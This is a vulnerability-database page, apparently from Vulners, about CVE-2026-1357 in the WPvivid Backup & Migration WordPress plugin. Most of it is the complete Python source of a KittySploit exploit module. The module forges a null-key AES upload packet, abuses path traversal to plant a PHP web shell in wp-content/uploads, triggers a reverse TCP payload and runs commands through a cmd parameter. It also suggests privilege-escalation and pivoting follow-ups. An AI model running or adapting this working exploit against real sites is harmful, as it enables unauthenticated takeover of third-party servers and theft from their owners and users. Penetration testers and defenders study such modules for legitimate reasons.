WPvivid Backup & Migration <= 0.9.123 - Unauthenticated RCE
| Reporter | Title | Published | Views | Family All 46 |
|---|---|---|---|---|
| Exploit for CVE-2026-1357 | 13 Feb 202609:12 | – | githubexploit | |
| Mephisto | 21 May 202605:06 | – | githubexploit | |
| Exploit for CVE-2026-1357 | 29 Aug 202619:38 | – | githubexploit | |
| Exploit for CVE-2026-1357 | 25 Feb 202606:37 | – | githubexploit | |
| Exploit for CVE-2026-1357 | 15 Apr 202605:02 | – | githubexploit | |
| Exploit for Authentication Bypass by Spoofing in Booster Booster_For_Woocommerce | 16 Feb 202612:12 | – | githubexploit | |
| CVEsWorpriss | 23 May 202601:52 | – | githubexploit | |
| Exploit for CVE-2026-1357 | 10 Mar 202622:23 | – | githubexploit | |
| Exploit for CVE-2026-1357 | 14 Feb 202605:15 | – | githubexploit | |
| Exploit for CVE-2026-1357 | 10 Feb 202619:38 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import hashlib
import json
from urllib.parse import urljoin
from kittysploit import *
from lib.protocols.http.http_client import Http_client
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
except ImportError:
AES = None
pad = None
class Module(Exploit, Http_client):
__info__ = {
"name": "WPvivid Backup & Migration <= 0.9.123 - Unauthenticated RCE",
"description": "CVE-2026-1357 - Unauthenticated arbitrary file upload via cryptographic "
"fail-open (null AES key) and path traversal. Uploads PHP to wp-content/uploads/.",
"author": ["Lucas Montes (NiRoX)", "halilkirazkaya", "KittySploit Team"],
"cve": ["CVE-2026-1357"],
"arch": [Arch.PHP],
"platform": Platform.MULTI,
"category": "singles",
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
verify_cmd = OptString("id", "Command to run for RCE verification (e.g. id)", required=False)
def _generate_encrypted_payload(self, shell_content: bytes, upload_path: str) -> str:
"""Build and encrypt the WPvivid payload (AES-128-CBC, null key + null IV)."""
if AES is None or pad is None:
print_error("PyCryptodome required. Install: pip install pycryptodome")
return ""
null_key = b"\x00" * 16
null_iv = b"\x00" * 16
cipher = AES.new(null_key, AES.MODE_CBC, iv=null_iv)
params = {
"backup_id": "1",
"name": upload_path,
"data": base64.b64encode(shell_content).decode(),
"offset": 0,
"file_size": len(shell_content),
"total_size": len(shell_content),
"index": 0,
"md5": hashlib.md5(shell_content).hexdigest(),
"type": "backup",
"status": "running",
}
plaintext = json.dumps(params).encode()
encrypted = cipher.encrypt(pad(plaintext, AES.block_size))
fake_key = b"ABC"
packet = (
format(len(fake_key), "03x").encode()
+ fake_key
+ format(len(encrypted), "016x").encode()
+ encrypted
)
return base64.b64encode(packet).decode()
def check(self):
"""Check if target appears to be WordPress and possibly WPvivid."""
try:
r = self.http_request(method="GET", path="/", timeout=15)
if not r or r.status_code != 200:
return {"vulnerable": False, "reason": "Target not reachable", "confidence": "low"}
text = (r.text or "").lower()
if "wp-content" in text or "wordpress" in text:
return {"vulnerable": True, "reason": "WordPress detected", "confidence": "medium"}
return {"vulnerable": False, "reason": "WordPress not detected", "confidence": "low"}
except Exception as e:
return {"vulnerable": False, "reason": f"Check failed: {str(e)}", "confidence": "low"}
def run(self):
"""Execute the exploit: upload PHP via CVE-2026-1357, then trigger/verify."""
if AES is None or pad is None:
print_error("PyCryptodome required. Install: pip install pycryptodome")
return False
try:
print_status("CVE-2026-1357 - WPvivid Backup & Migration Unauthenticated RCE")
print_status(f"Target: {self.target}:{self.port}")
if not self.payload:
print_error("No payload generated. Set a PHP payload (e.g. payloads/singles/cmd/php/reverse_tcp).")
return False
shell_body = str(self.payload).strip()
shell_content = f"<?php\n{shell_body}\n?>".encode()
rand_name = self.random_text(24)
upload_path = f"../uploads/{rand_name}.php"
shell_filename = f"{rand_name}.php"
print_status("Generating encrypted payload (AES-128-CBC, null key + null IV)...")
payload_b64 = self._generate_encrypted_payload(shell_content, upload_path)
if not payload_b64:
return False
print_info(f"Payload size: {len(payload_b64)} bytes (base64)")
print_status("Sending exploit via wpvivid_action=send_to_site...")
r = self.http_request(
method="POST",
path="/",
data={
"wpvivid_action": "send_to_site",
"wpvivid_content": payload_b64,
},
timeout=30,
)
if not r:
print_error("Exploit request failed")
return False
print_info(f"Response: {r.status_code}")
shell_path = f"/wp-content/uploads/{shell_filename}"
if self.ssl:
base_url = f"https://{self.target}:{self.port}"
else:
base_url = f"http://{self.target}:{self.port}"
shell_url = urljoin(base_url.rstrip("/") + "/", f"wp-content/uploads/{shell_filename}")
print_status("Triggering shell (check your listener if using reverse_tcp)...")
trigger = self.http_request(method="GET", path=shell_path, timeout=15)
if trigger and trigger.status_code == 200:
print_success("Shell requested successfully")
if self.verify_cmd:
verify_url = f"{shell_url}?cmd={self.verify_cmd}"
print_status(f"Verifying RCE: {verify_url}")
verify_r = self.http_request(
method="GET",
path=f"{shell_path}?cmd={self.verify_cmd}",
timeout=15,
)
if verify_r and verify_r.status_code == 200 and (verify_r.text or "").strip():
print_success("RCE verification output:")
print(verify_r.text.strip()[:1024])
else:
print_warning("Verification request returned no output (reverse shell may still have been triggered).")
print_success(f"Shell URL: {shell_url}")
return True
except Exception as e:
print_error(f"Exploitation failed: {e}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
EPSS0.35115
SSVC